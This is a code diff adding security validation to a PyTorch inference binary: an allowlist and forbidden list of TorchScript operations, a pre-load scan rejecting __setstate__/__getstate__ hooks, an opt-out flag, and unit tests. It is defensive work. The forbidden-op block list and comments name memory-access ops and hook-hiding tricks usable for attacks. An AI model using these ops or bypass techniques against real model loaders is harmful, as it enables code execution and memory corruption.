diff --git a/bin/pytorch_inference/CBufferedIStreamAdapter.h b/bin/pytorch_inference/CBufferedIStreamAdapter.h index d1f845e75c..2f9bf9b3ba 100644 --- a/bin/pytorch_inference/CBufferedIStreamAdapter.h +++ b/bin/pytorch_inference/CBufferedIStreamAdapter.h @@ -51,6 +51,11 @@ class CBufferedIStreamAdapter : public caffe2::serialize::ReadAdapterInterface { std::size_t size() const override; std::size_t read(std::uint64_t pos, void* buf, std::size_t n, const char* what = "") const override; + //! Read-only view of the buffered model bytes. Valid until this object is + //! destroyed. Used to statically scan the archive before it is handed to + //! torch::jit::load (which would otherwise execute __setstate__ code). + const char* buffer() const { return m_Buffer.get(); } + CBufferedIStreamAdapter(const CBufferedIStreamAdapter&) = delete; CBufferedIStreamAdapter& operator=(const CBufferedIStreamAdapter&) = delete; diff --git a/bin/pytorch_inference/CCmdLineParser.cc b/bin/pytorch_inference/CCmdLineParser.cc index 2fc578588d..451a58f48d 100644 --- a/bin/pytorch_inference/CCmdLineParser.cc +++ b/bin/pytorch_inference/CCmdLineParser.cc @@ -41,7 +41,8 @@ bool CCmdLineParser::parse(int argc, std::size_t& cacheMemorylimitBytes, bool& validElasticLicenseKeyConfirmed, bool& lowPriority, - bool& useImmediateExecutor) { + bool& useImmediateExecutor, + bool& skipModelValidation) { try { boost::program_options::options_description desc(DESCRIPTION); // clang-format off @@ -75,6 +76,7 @@ bool CCmdLineParser::parse(int argc, ("lowPriority", "Execute process in low priority") ("useImmediateExecutor", "Execute requests on the main thread. This mode should only used for " "benchmarking purposes to ensure requests are processed in order)") + ("skipModelValidation", "Skip TorchScript model graph validation. WARNING: disables security checks on model operations.") ; // clang-format on @@ -148,6 +150,9 @@ bool CCmdLineParser::parse(int argc, return false; } } + if (vm.count("skipModelValidation") > 0) { + skipModelValidation = true; + } } catch (std::exception& e) { std::cerr << "Error processing command line: " << e.what() << std::endl; return false; diff --git a/bin/pytorch_inference/CCmdLineParser.h b/bin/pytorch_inference/CCmdLineParser.h index b72ca51f4e..3889bc832b 100644 --- a/bin/pytorch_inference/CCmdLineParser.h +++ b/bin/pytorch_inference/CCmdLineParser.h @@ -52,7 +52,8 @@ class CCmdLineParser { std::size_t& cacheMemorylimitBytes, bool& validElasticLicenseKeyConfirmed, bool& lowPriority, - bool& useImmediateExecutor); + bool& useImmediateExecutor, + bool& skipModelValidation); private: static const std::string DESCRIPTION; diff --git a/bin/pytorch_inference/CMakeLists.txt b/bin/pytorch_inference/CMakeLists.txt index 5c6ff63528..5e565caa05 100644 --- a/bin/pytorch_inference/CMakeLists.txt +++ b/bin/pytorch_inference/CMakeLists.txt @@ -35,7 +35,9 @@ ml_add_executable(pytorch_inference CBufferedIStreamAdapter.cc CCmdLineParser.cc CCommandParser.cc + CModelGraphValidator.cc CResultWriter.cc + CSupportedOperations.cc CThreadSettings.cc ) diff --git a/bin/pytorch_inference/CModelGraphValidator.cc b/bin/pytorch_inference/CModelGraphValidator.cc new file mode 100644 index 0000000000..63d4760991 --- /dev/null +++ b/bin/pytorch_inference/CModelGraphValidator.cc @@ -0,0 +1,202 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the following additional limitation. Functionality enabled by the + * files subject to the Elastic License 2.0 may only be used in production when + * invoked by an Elasticsearch process with a license key installed that permits + * use of machine learning features. You may not use this file except in + * compliance with the Elastic License 2.0 and the foregoing additional + * limitation. + */ + +#include "CModelGraphValidator.h" + +#include "CSupportedOperations.h" + +#include + +#include +#include +#include + +#include +#include +#include +#include +#include + +namespace ml { +namespace torch { +namespace { + +//! Minimal in-memory ReadAdapterInterface so a PyTorchStreamReader can parse an +//! archive that is already fully buffered in memory, without taking ownership. +class CMemoryReadAdapter final : public caffe2::serialize::ReadAdapterInterface { +public: + CMemoryReadAdapter(const char* data, std::size_t size) + : m_Data{data}, m_Size{size} {} + + std::size_t size() const override { return m_Size; } + + std::size_t + read(std::uint64_t pos, void* buf, std::size_t n, const char* /*what*/ = "") const override { + if (pos >= m_Size) { + return 0; + } + n = std::min(n, m_Size - static_cast(pos)); + std::memcpy(buf, m_Data + pos, n); + return n; + } + +private: + const char* m_Data; + std::size_t m_Size; +}; +} + +CModelGraphValidator::SResult CModelGraphValidator::validate(const ::torch::jit::Module& module) { + + TStringSet observedOps; + std::size_t nodeCount{0}; + collectModuleOps(module, observedOps, nodeCount); + + if (nodeCount > MAX_NODE_COUNT) { + LOG_ERROR(<< "Model graph is too large: " << nodeCount + << " nodes exceeds limit of " << MAX_NODE_COUNT); + return {false, {}, {}, nodeCount}; + } + + LOG_DEBUG(<< "Model graph contains " << observedOps.size() + << " distinct operations across " << nodeCount << " nodes"); + for (const auto& op : observedOps) { + LOG_DEBUG(<< " observed op: " << op); + } + + auto result = validate(observedOps, CSupportedOperations::ALLOWED_OPERATIONS, + CSupportedOperations::FORBIDDEN_OPERATIONS); + result.s_NodeCount = nodeCount; + return result; +} + +CModelGraphValidator::SResult +CModelGraphValidator::validate(const TStringSet& observedOps, + const std::unordered_set& allowedOps, + const std::unordered_set& forbiddenOps) { + + SResult result; + + // Two-pass check: forbidden ops first, then unrecognised. This lets us + // fail fast when a known-dangerous operation is present and avoids the + // cost of scanning for unrecognised ops on a model we will reject anyway. + // Use find() rather than contains() — 8.19 builds as C++17. + for (const auto& op : observedOps) { + if (forbiddenOps.find(op) != forbiddenOps.end()) { + result.s_IsValid = false; + result.s_ForbiddenOps.push_back(op); + } + } + + if (result.s_ForbiddenOps.empty()) { + for (const auto& op : observedOps) { + if (allowedOps.find(op) == allowedOps.end()) { + result.s_IsValid = false; + result.s_UnrecognisedOps.push_back(op); + } + } + } + + std::sort(result.s_ForbiddenOps.begin(), result.s_ForbiddenOps.end()); + std::sort(result.s_UnrecognisedOps.begin(), result.s_UnrecognisedOps.end()); + + return result; +} + +void CModelGraphValidator::collectBlockOps(const ::torch::jit::Block& block, + TStringSet& ops, + std::size_t& nodeCount) { + for (const auto* node : block.nodes()) { + if (++nodeCount > MAX_NODE_COUNT) { + return; + } + ops.emplace(node->kind().toQualString()); + for (const auto* subBlock : node->blocks()) { + collectBlockOps(*subBlock, ops, nodeCount); + if (nodeCount > MAX_NODE_COUNT) { + return; + } + } + } +} + +CModelGraphValidator::TStringVec +CModelGraphValidator::scanArchiveForCustomStateHooks(const char* data, std::size_t size) { + TStringSet hooks; + + constexpr std::string_view SETSTATE{"__setstate__"}; + constexpr std::string_view GETSTATE{"__getstate__"}; + + std::unique_ptr reader; + try { + auto adapter = std::make_shared(data, size); + reader = std::make_unique(std::move(adapter)); + } catch (const std::exception& e) { + // If the archive cannot be parsed as a stream we do not treat this as a + // rejection here: torch::jit::load will attempt the same parse and + // surface a clear error. The post-load graph validator still applies. + LOG_WARN(<< "Pre-load state-hook scan skipped (could not parse archive): " + << e.what()); + return {}; + } + + for (const auto& name : reader->getAllRecords()) { + try { + auto[recordData, recordSize] = reader->getRecord(name); + std::string_view bytes{static_cast(recordData.get()), recordSize}; + + // Remediation for a privately reported finding: reject any archive + // that embeds custom state hooks. Scan every record — not just + // code/*.py — so hooks cannot hide in debug_pkl / adjacent entries. + if (bytes.find(SETSTATE) != std::string_view::npos) { + hooks.emplace("__setstate__"); + } + if (bytes.find(GETSTATE) != std::string_view::npos) { + hooks.emplace("__getstate__"); + } + } catch (const std::exception& e) { + // A single unreadable record (e.g. a deliberately bad CRC) must not + // abort the whole scan: an attacker could otherwise hide a + // __setstate__ hook in a later record behind a corrupt earlier one, + // slip past the scan, and have torch::jit::load run it at load time. + // Warn and keep scanning the remaining records. + LOG_WARN(<< "Pre-load state-hook scan: skipping unreadable record '" + << name << "': " << e.what()); + continue; + } + if (hooks.size() == 2) { + break; + } + } + + TStringVec result{hooks.begin(), hooks.end()}; + std::sort(result.begin(), result.end()); + return result; +} + +void CModelGraphValidator::collectModuleOps(const ::torch::jit::Module& module, + TStringSet& ops, + std::size_t& nodeCount) { + for (const auto& method : module.get_methods()) { + // Inline all method calls so that operations hidden behind + // prim::CallMethod are surfaced. After inlining, any remaining + // prim::CallMethod indicates a call that could not be resolved + // statically and will be flagged as unrecognised. + auto graph = method.graph()->copy(); + ::torch::jit::Inline(*graph); + collectBlockOps(*graph->block(), ops, nodeCount); + if (nodeCount > MAX_NODE_COUNT) { + return; + } + } +} +} +} diff --git a/bin/pytorch_inference/CModelGraphValidator.h b/bin/pytorch_inference/CModelGraphValidator.h new file mode 100644 index 0000000000..ae344f1abe --- /dev/null +++ b/bin/pytorch_inference/CModelGraphValidator.h @@ -0,0 +1,109 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the following additional limitation. Functionality enabled by the + * files subject to the Elastic License 2.0 may only be used in production when + * invoked by an Elasticsearch process with a license key installed that permits + * use of machine learning features. You may not use this file except in + * compliance with the Elastic License 2.0 and the foregoing additional + * limitation. + */ + +#ifndef INCLUDED_ml_torch_CModelGraphValidator_h +#define INCLUDED_ml_torch_CModelGraphValidator_h + +#include + +#include +#include +#include +#include +#include + +namespace ml { +namespace torch { + +//! \brief +//! Validates TorchScript model computation graphs against a set of +//! allowed operations. +//! +//! DESCRIPTION:\n +//! Provides defense-in-depth by statically inspecting the TorchScript +//! graph of a loaded model and rejecting any model that contains +//! operations not present in the allowlist derived from supported +//! transformer architectures. +//! +//! IMPLEMENTATION DECISIONS:\n +//! The validation walks all methods of the module and its submodules +//! recursively, collecting every distinct operation. Any operation +//! that appears in the forbidden set causes immediate rejection. +//! Any operation not in the allowed set is collected and reported. +//! This ensures that even operations buried in helper methods or +//! nested submodules are inspected. +//! +class CModelGraphValidator { +public: + using TStringSet = std::unordered_set; + using TStringVec = std::vector; + + //! Upper bound on the number of graph nodes we are willing to inspect. + //! Transformer models typically have O(10k) nodes after inlining; a + //! limit of 1M provides generous headroom while preventing a + //! pathologically large graph from consuming unbounded memory or CPU. + static constexpr std::size_t MAX_NODE_COUNT{1000000}; + + //! Result of validating a model graph. + struct SResult { + bool s_IsValid{true}; + TStringVec s_ForbiddenOps; + TStringVec s_UnrecognisedOps; + std::size_t s_NodeCount{0}; + }; + +public: + //! Validate the computation graph of the given module against the + //! supported operation allowlist. Recursively inspects all methods + //! across all submodules. + static SResult validate(const ::torch::jit::Module& module); + + //! Validate a pre-collected set of operation names. Useful for + //! unit testing the matching logic without requiring a real model. + static SResult validate(const TStringSet& observedOps, + const std::unordered_set& allowedOps, + const std::unordered_set& forbiddenOps); + + //! Statically scan a model archive BEFORE torch::jit::load for custom + //! TorchScript state hooks ("__setstate__", "__getstate__"), without + //! executing any of the model's code. + //! + //! Closes a load-time execution gap from a privately reported finding: + //! torch::jit::load runs a module's __setstate__ during deserialization, + //! before post-load graph validation. Matching the recommended remediation, + //! any archive containing those literal substrings is rejected. Ops that + //! only run when methods are invoked (e.g. forward) remain the job of the + //! post-load allowlist / forbid checks in validate(). + //! + //! \p data / \p size are the raw bytes of the .pt (ZIP) archive. Returns + //! the sorted names of any hooks found, or empty if none are found / the + //! archive cannot be parsed (in which case torch::jit::load will surface + //! the error). + static TStringVec scanArchiveForCustomStateHooks(const char* data, std::size_t size); + +private: + //! Collect all operation names from a block, recursing into sub-blocks. + static void collectBlockOps(const ::torch::jit::Block& block, + TStringSet& ops, + std::size_t& nodeCount); + + //! Inline all method calls and collect ops from the flattened graph. + //! After inlining, prim::CallMethod should not appear; if it does, + //! the call could not be resolved statically and is treated as + //! unrecognised. + static void collectModuleOps(const ::torch::jit::Module& module, + TStringSet& ops, + std::size_t& nodeCount); +}; +} +} + +#endif // INCLUDED_ml_torch_CModelGraphValidator_h diff --git a/bin/pytorch_inference/CSupportedOperations.cc b/bin/pytorch_inference/CSupportedOperations.cc new file mode 100644 index 0000000000..67a9c542b4 --- /dev/null +++ b/bin/pytorch_inference/CSupportedOperations.cc @@ -0,0 +1,172 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the following additional limitation. Functionality enabled by the + * files subject to the Elastic License 2.0 may only be used in production when + * invoked by an Elasticsearch process with a license key installed that permits + * use of machine learning features. You may not use this file except in + * compliance with the Elastic License 2.0 and the foregoing additional + * limitation. + */ + +#include "CSupportedOperations.h" + +namespace ml { +namespace torch { + +using namespace std::string_view_literals; + +const CSupportedOperations::TStringViewSet CSupportedOperations::FORBIDDEN_OPERATIONS = { + // Arbitrary memory access — enables heap scanning, address leaks, and + // ROP chain construction. + "aten::as_strided"sv, + "aten::from_file"sv, + "aten::save"sv, + // Unchecked storage-offset reinterpret (TorchInductor). Same class of OOB + // heap read/write as as_strided; used to bypass the as_strided forbid + // (privately reported security finding). + "inductor::_reinterpret_tensor"sv, + // After graph inlining, method and function calls should be resolved. + // Their presence indicates an opaque call that cannot be validated. + "prim::CallFunction"sv, + "prim::CallMethod"sv, +}; + +// Generated by dev-tools/extract_model_ops/extract_model_ops.py against PyTorch 2.7.1. +// Reference models: bert-base-uncased, roberta-base, distilbert-base-uncased, +// google/electra-small-discriminator, microsoft/mpnet-base, +// microsoft/deberta-base, facebook/dpr-ctx_encoder-single-nq-base, +// google/mobilebert-uncased, xlm-roberta-base, elastic/bge-m3, +// elastic/distilbert-base-{cased,uncased}-finetuned-conll03-english, +// elastic/eis-elser-v2, elastic/elser-v2, elastic/hugging-face-elser, +// elastic/multilingual-e5-small-optimized, intfloat/multilingual-e5-small, +// .multilingual-e5-small (prepacked), elastic/splade-v3, +// elastic/test-elser-v2, .rerank-v1 (Elastic rerank model), +// deepset/tinyroberta-squad2, typeform/squeezebert-mnli, +// facebook/bart-large-mnli, valhalla/distilbart-mnli-12-6, +// distilbert-base-uncased-finetuned-sst-2-english, +// sentence-transformers/all-distilroberta-v1, +// jinaai/jina-embeddings-v5-text-nano (EuroBERT + LoRA). +// Eland-deployed variants of the above models (with pooling/normalization layers). +// Additional ops from Elasticsearch integration test models +// (PyTorchModelIT, TextExpansionQueryIT, TextEmbeddingQueryIT). +// Quantized operations from dynamically quantized variants of the above +// models (torch.quantization.quantize_dynamic on nn.Linear layers). +const CSupportedOperations::TStringViewSet CSupportedOperations::ALLOWED_OPERATIONS = { + // aten operations (core tensor computations) + "aten::Int"sv, + "aten::IntImplicit"sv, + "aten::ScalarImplicit"sv, + "aten::__and__"sv, + "aten::_convolution"sv, + "aten::abs"sv, + "aten::add"sv, + "aten::add_"sv, + "aten::arange"sv, + "aten::bitwise_not"sv, + "aten::bmm"sv, + "aten::cat"sv, + "aten::ceil"sv, + "aten::chunk"sv, + "aten::clamp"sv, + "aten::clamp_min"sv, + "aten::clone"sv, + "aten::contiguous"sv, + "aten::copy_"sv, + "aten::cos"sv, + "aten::cumsum"sv, + "aten::detach"sv, + "aten::div"sv, + "aten::div_"sv, + "aten::dropout"sv, + "aten::embedding"sv, + "aten::eq"sv, + "aten::expand"sv, + "aten::expand_as"sv, + "aten::fill_"sv, + "aten::floor_divide"sv, + "aten::full"sv, + "aten::full_like"sv, + "aten::gather"sv, + "aten::ge"sv, + "aten::gelu"sv, + "aten::gt"sv, + "aten::hash"sv, + "aten::index"sv, + "aten::index_put_"sv, + "aten::layer_norm"sv, + "aten::le"sv, + "aten::len"sv, + "aten::linalg_vector_norm"sv, + "aten::linear"sv, + "aten::log"sv, + "aten::lt"sv, + "aten::manual_seed"sv, + "aten::masked_fill"sv, + "aten::masked_fill_"sv, + "aten::matmul"sv, + "aten::max"sv, + "aten::mean"sv, + "aten::min"sv, + "aten::mul"sv, + "aten::mul_"sv, + "aten::ne"sv, + "aten::neg"sv, + "aten::new_ones"sv, + "aten::new_zeros"sv, + "aten::norm"sv, + "aten::ones"sv, + "aten::pad"sv, + "aten::permute"sv, + "aten::pow"sv, + "aten::rand"sv, + "aten::relu"sv, + "aten::repeat"sv, + "aten::reshape"sv, + "aten::rsqrt"sv, + "aten::rsub"sv, + "aten::scaled_dot_product_attention"sv, + "aten::select"sv, + "aten::sign"sv, + "aten::silu"sv, + "aten::sin"sv, + "aten::size"sv, + "aten::slice"sv, + "aten::softmax"sv, + "aten::split"sv, + "aten::sqrt"sv, + "aten::squeeze"sv, + "aten::stack"sv, + "aten::str"sv, + "aten::sub"sv, + "aten::sum"sv, + "aten::tanh"sv, + "aten::tensor"sv, + "aten::to"sv, + "aten::transpose"sv, + "aten::triu"sv, + "aten::type_as"sv, + "aten::unsqueeze"sv, + "aten::view"sv, + "aten::where"sv, + "aten::zeros"sv, + // prim operations (TorchScript graph infrastructure) + "prim::Constant"sv, + "prim::DictConstruct"sv, + "prim::GetAttr"sv, + "prim::If"sv, + "prim::ListConstruct"sv, + "prim::ListUnpack"sv, + "prim::Loop"sv, + "prim::NumToTensor"sv, + "prim::TupleConstruct"sv, + "prim::TupleUnpack"sv, + "prim::device"sv, + "prim::dtype"sv, + "prim::max"sv, + "prim::min"sv, + // quantized operations (dynamically quantized models, e.g. ELSER v2) + "quantized::linear_dynamic"sv, +}; +} +} diff --git a/bin/pytorch_inference/CSupportedOperations.h b/bin/pytorch_inference/CSupportedOperations.h new file mode 100644 index 0000000000..3719bec803 --- /dev/null +++ b/bin/pytorch_inference/CSupportedOperations.h @@ -0,0 +1,68 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the following additional limitation. Functionality enabled by the + * files subject to the Elastic License 2.0 may only be used in production when + * invoked by an Elasticsearch process with a license key installed that permits + * use of machine learning features. You may not use this file except in + * compliance with the Elastic License 2.0 and the foregoing additional + * limitation. + */ + +#ifndef INCLUDED_ml_torch_CSupportedOperations_h +#define INCLUDED_ml_torch_CSupportedOperations_h + +#include +#include + +namespace ml { +namespace torch { + +//! \brief +//! Flat allowlist of TorchScript operations observed across all +//! supported transformer architectures (BERT, RoBERTa, DistilBERT, +//! ELECTRA, MPNet, DeBERTa, BART, DPR, MobileBERT, XLM-RoBERTa). +//! +//! DESCRIPTION:\n +//! Generated by tracing reference HuggingFace models with +//! dev-tools/extract_model_ops/extract_model_ops.py and collecting the union of all +//! operations from the inlined forward() computation graphs. +//! +//! IMPLEMENTATION DECISIONS:\n +//! Stored as a compile-time data structure rather than an external +//! config file to avoid runtime loading failures and to keep the +//! security boundary self-contained. The list should be regenerated +//! whenever the set of supported architectures changes or when +//! upgrading the PyTorch version. +//! +class CSupportedOperations { +public: + using TStringViewSet = std::unordered_set; + + //! Operations explicitly forbidden regardless of the allowlist. + //! + //! The forbidden list is checked separately from (and takes precedence + //! over) the allowed list. This two-tier approach provides: + //! + //! 1. Stable, targeted error messages for known-dangerous operations + //! (e.g. "model contains forbidden operation: aten::save") rather + //! than the generic "unrecognised operation" that the allowlist + //! would produce. This helps model authors diagnose rejections. + //! + //! 2. A safety net against accidental allowlist expansion. If a + //! future PyTorch upgrade or new architecture inadvertently adds + //! a dangerous op to the allowed set, the forbidden list still + //! blocks it. The forbidden check is independent of regeneration. + //! + //! 3. Defence-in-depth: two independent mechanisms must both agree + //! before an operation is permitted, reducing the risk of a + //! single-point allowlist error opening an attack vector. + static const TStringViewSet FORBIDDEN_OPERATIONS; + + //! Union of all TorchScript operations observed in supported architectures. + static const TStringViewSet ALLOWED_OPERATIONS; +}; +} +} + +#endif // INCLUDED_ml_torch_CSupportedOperations_h diff --git a/bin/pytorch_inference/Main.cc b/bin/pytorch_inference/Main.cc index 98f303df4e..025fffd1c3 100644 --- a/bin/pytorch_inference/Main.cc +++ b/bin/pytorch_inference/Main.cc @@ -27,6 +27,7 @@ #include "CBufferedIStreamAdapter.h" #include "CCmdLineParser.h" #include "CCommandParser.h" +#include "CModelGraphValidator.h" #include "CResultWriter.h" #include "CThreadSettings.h" @@ -42,25 +43,52 @@ #include namespace { -// Add more forbidden ops here if needed -const std::unordered_set FORBIDDEN_OPERATIONS = {"aten::from_file", "aten::save"}; - void verifySafeModel(const torch::jit::script::Module& module_) { try { - const auto method = module_.get_method("forward"); - const auto graph = method.graph(); - for (const auto& node : graph->nodes()) { - const std::string opName = node->kind().toQualString(); - if (FORBIDDEN_OPERATIONS.find(opName) != FORBIDDEN_OPERATIONS.end()) { - HANDLE_FATAL(<< "Loading the inference process failed because it contains forbidden operation: " - << opName); - } + auto result = ml::torch::CModelGraphValidator::validate(module_); + + if (result.s_ForbiddenOps.empty() == false) { + std::string ops = ml::core::CStringUtils::join(result.s_ForbiddenOps, ", "); + HANDLE_FATAL(<< "Model contains forbidden operations: " << ops); + } + + if (result.s_UnrecognisedOps.empty() == false) { + std::string ops = ml::core::CStringUtils::join(result.s_UnrecognisedOps, ", "); + HANDLE_FATAL(<< "Model graph does not match any supported architecture. " + << "Unrecognised operations: " << ops); + } + + if (result.s_NodeCount > ml::torch::CModelGraphValidator::MAX_NODE_COUNT) { + HANDLE_FATAL(<< "Model graph is too large: " << result.s_NodeCount << " nodes exceeds limit of " + << ml::torch::CModelGraphValidator::MAX_NODE_COUNT); + } + + if (result.s_IsValid == false) { + HANDLE_FATAL(<< "Model graph validation failed"); } + + LOG_DEBUG(<< "Model verified: " << result.s_NodeCount + << " nodes, all operations match supported architectures."); } catch (const c10::Error& e) { - LOG_FATAL(<< "Failed to get forward method: " << e.what()); + HANDLE_FATAL(<< "Model graph validation failed: " << e.what()); } +} - LOG_DEBUG(<< "Model verified: no forbidden operations detected."); +//! Reject models with custom TorchScript state hooks BEFORE torch::jit::load. +//! Load executes __setstate__ during deserialization, so post-load graph +//! validation runs too late. Matching the recommended remediation for a +//! privately reported finding, any __setstate__/__getstate__ hooks are refused +//! outright. +//! Forbidden / unrecognised ops in methods that only run when invoked remain +//! the job of verifySafeModel() after a successful load. +//! \p modelData / \p modelSize are the raw bytes of the buffered .pt archive. +void verifySafeModelBeforeLoad(const char* modelData, std::size_t modelSize) { + auto hooks = ml::torch::CModelGraphValidator::scanArchiveForCustomStateHooks( + modelData, modelSize); + if (hooks.empty() == false) { + std::string names = ml::core::CStringUtils::join(hooks, ", "); + HANDLE_FATAL(<< "Model archive contains custom state hooks: " << names); + } } } @@ -92,6 +120,7 @@ torch::Tensor infer(torch::jit::script::Module& module_, } auto output = module_.forward(inputs); + if (output.isTuple()) { // For transformers the result tensor is the first element in a tuple. all.push_back(output.toTuple()->elements()[0].toTensor()); @@ -191,13 +220,14 @@ int main(int argc, char** argv) { bool validElasticLicenseKeyConfirmed{false}; bool lowPriority{false}; bool useImmediateExecutor{false}; + bool skipModelValidation{false}; if (ml::torch::CCmdLineParser::parse( argc, argv, modelId, namedPipeConnectTimeout, inputFileName, - isInputFileNamedPipe, outputFileName, isOutputFileNamedPipe, - restoreFileName, isRestoreFileNamedPipe, logFileName, logProperties, - numThreadsPerAllocation, numAllocations, cacheMemorylimitBytes, - validElasticLicenseKeyConfirmed, lowPriority, useImmediateExecutor) == false) { + isInputFileNamedPipe, outputFileName, isOutputFileNamedPipe, restoreFileName, + isRestoreFileNamedPipe, logFileName, logProperties, numThreadsPerAllocation, + numAllocations, cacheMemorylimitBytes, validElasticLicenseKeyConfirmed, + lowPriority, useImmediateExecutor, skipModelValidation) == false) { return EXIT_FAILURE; } @@ -302,8 +332,19 @@ int main(int argc, char** argv) { if (readAdapter->init() == false) { return EXIT_FAILURE; } + if (skipModelValidation == false) { + // Reject custom state hooks before loading so that __setstate__ + // (which torch::jit::load would execute during deserialization) + // never runs. Op allowlisting remains a post-load check. + verifySafeModelBeforeLoad(readAdapter->buffer(), readAdapter->size()); + } module_ = torch::jit::load(std::move(readAdapter)); - verifySafeModel(module_); + if (skipModelValidation) { + LOG_WARN(<< "Model graph validation SKIPPED — --skipModelValidation flag is set. " + << "This disables security checks on model operations."); + } else { + verifySafeModel(module_); + } module_.eval(); LOG_DEBUG(<< "model loaded"); diff --git a/bin/pytorch_inference/unittest/CCommandParserTest.cc b/bin/pytorch_inference/unittest/CCommandParserTest.cc index 7dcf6a7efa..5c7e7e4fd4 100644 --- a/bin/pytorch_inference/unittest/CCommandParserTest.cc +++ b/bin/pytorch_inference/unittest/CCommandParserTest.cc @@ -9,7 +9,7 @@ * limitation. */ -#include "../CCommandParser.h" +#include #include diff --git a/bin/pytorch_inference/unittest/CMakeLists.txt b/bin/pytorch_inference/unittest/CMakeLists.txt index dd53944927..fe3c544a55 100644 --- a/bin/pytorch_inference/unittest/CMakeLists.txt +++ b/bin/pytorch_inference/unittest/CMakeLists.txt @@ -14,6 +14,7 @@ project("ML pytorch_inference unit tests") set (SRCS Main.cc CCommandParserTest.cc + CModelGraphValidatorTest.cc CResultWriterTest.cc CThreadSettingsTest.cc ) @@ -33,3 +34,5 @@ set(ML_LINK_LIBRARIES ) ml_add_test_executable(pytorch_inference ${SRCS}) + +target_include_directories(ml_test_pytorch_inference PRIVATE ${CMAKE_CURRENT_SOURCE_DIR}/..) diff --git a/bin/pytorch_inference/unittest/CModelGraphValidatorTest.cc b/bin/pytorch_inference/unittest/CModelGraphValidatorTest.cc new file mode 100644 index 0000000000..1cee1a084a --- /dev/null +++ b/bin/pytorch_inference/unittest/CModelGraphValidatorTest.cc @@ -0,0 +1,603 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the following additional limitation. Functionality enabled by the + * files subject to the Elastic License 2.0 may only be used in production when + * invoked by an Elasticsearch process with a license key installed that permits + * use of machine learning features. You may not use this file except in + * compliance with the Elastic License 2.0 and the foregoing additional + * limitation. + */ + +#include + +#include + +#include +#include + +#include + +#include +#include +#include +#include +#include + +using namespace ml::torch; +using TStringSet = CModelGraphValidator::TStringSet; +using TStringViewSet = std::unordered_set; + +BOOST_AUTO_TEST_SUITE(CModelGraphValidatorTest) + +BOOST_AUTO_TEST_CASE(testAllAllowedOpsPass) { + // A model using only allowed ops should pass validation. + TStringSet observed{"aten::linear", "aten::layer_norm", "aten::gelu", + "aten::embedding", "prim::Constant", "prim::GetAttr"}; + + auto result = CModelGraphValidator::validate( + observed, CSupportedOperations::ALLOWED_OPERATIONS, + CSupportedOperations::FORBIDDEN_OPERATIONS); + + BOOST_REQUIRE(result.s_IsValid); + BOOST_REQUIRE(result.s_ForbiddenOps.empty()); + BOOST_REQUIRE(result.s_UnrecognisedOps.empty()); +} + +BOOST_AUTO_TEST_CASE(testEmptyGraphPasses) { + TStringSet observed; + + auto result = CModelGraphValidator::validate( + observed, CSupportedOperations::ALLOWED_OPERATIONS, + CSupportedOperations::FORBIDDEN_OPERATIONS); + + BOOST_REQUIRE(result.s_IsValid); + BOOST_REQUIRE(result.s_ForbiddenOps.empty()); + BOOST_REQUIRE(result.s_UnrecognisedOps.empty()); +} + +BOOST_AUTO_TEST_CASE(testForbiddenOpsRejected) { + TStringSet observed{"aten::linear", "aten::from_file", "prim::Constant"}; + + auto result = CModelGraphValidator::validate( + observed, CSupportedOperations::ALLOWED_OPERATIONS, + CSupportedOperations::FORBIDDEN_OPERATIONS); + + BOOST_REQUIRE(result.s_IsValid == false); + BOOST_REQUIRE_EQUAL(1, result.s_ForbiddenOps.size()); + BOOST_REQUIRE_EQUAL("aten::from_file", result.s_ForbiddenOps[0]); + BOOST_REQUIRE(result.s_UnrecognisedOps.empty()); +} + +BOOST_AUTO_TEST_CASE(testMultipleForbiddenOps) { + TStringSet observed{"aten::from_file", "aten::save"}; + + auto result = CModelGraphValidator::validate( + observed, CSupportedOperations::ALLOWED_OPERATIONS, + CSupportedOperations::FORBIDDEN_OPERATIONS); + + BOOST_REQUIRE(result.s_IsValid == false); + BOOST_REQUIRE_EQUAL(2, result.s_ForbiddenOps.size()); + BOOST_REQUIRE_EQUAL("aten::from_file", result.s_ForbiddenOps[0]); + BOOST_REQUIRE_EQUAL("aten::save", result.s_ForbiddenOps[1]); +} + +BOOST_AUTO_TEST_CASE(testUnrecognisedOpsRejected) { + TStringSet observed{"aten::linear", "custom::evil_op", "prim::Constant"}; + + auto result = CModelGraphValidator::validate( + observed, CSupportedOperations::ALLOWED_OPERATIONS, + CSupportedOperations::FORBIDDEN_OPERATIONS); + + BOOST_REQUIRE(result.s_IsValid == false); + BOOST_REQUIRE(result.s_ForbiddenOps.empty()); + BOOST_REQUIRE_EQUAL(1, result.s_UnrecognisedOps.size()); + BOOST_REQUIRE_EQUAL("custom::evil_op", result.s_UnrecognisedOps[0]); +} + +BOOST_AUTO_TEST_CASE(testMixedForbiddenAndUnrecognised) { + // When forbidden ops are present, the validator short-circuits and + // does not report unrecognised ops — we reject immediately. + TStringSet observed{"aten::save", "custom::backdoor", "aten::linear"}; + + auto result = CModelGraphValidator::validate( + observed, CSupportedOperations::ALLOWED_OPERATIONS, + CSupportedOperations::FORBIDDEN_OPERATIONS); + + BOOST_REQUIRE(result.s_IsValid == false); + BOOST_REQUIRE_EQUAL(1, result.s_ForbiddenOps.size()); + BOOST_REQUIRE_EQUAL("aten::save", result.s_ForbiddenOps[0]); + BOOST_REQUIRE(result.s_UnrecognisedOps.empty()); +} + +BOOST_AUTO_TEST_CASE(testResultsSorted) { + TStringSet observed{"zzz::unknown", "aaa::unknown", "mmm::unknown"}; + + auto result = CModelGraphValidator::validate( + observed, CSupportedOperations::ALLOWED_OPERATIONS, + CSupportedOperations::FORBIDDEN_OPERATIONS); + + BOOST_REQUIRE(result.s_IsValid == false); + BOOST_REQUIRE_EQUAL(3, result.s_UnrecognisedOps.size()); + BOOST_REQUIRE_EQUAL("aaa::unknown", result.s_UnrecognisedOps[0]); + BOOST_REQUIRE_EQUAL("mmm::unknown", result.s_UnrecognisedOps[1]); + BOOST_REQUIRE_EQUAL("zzz::unknown", 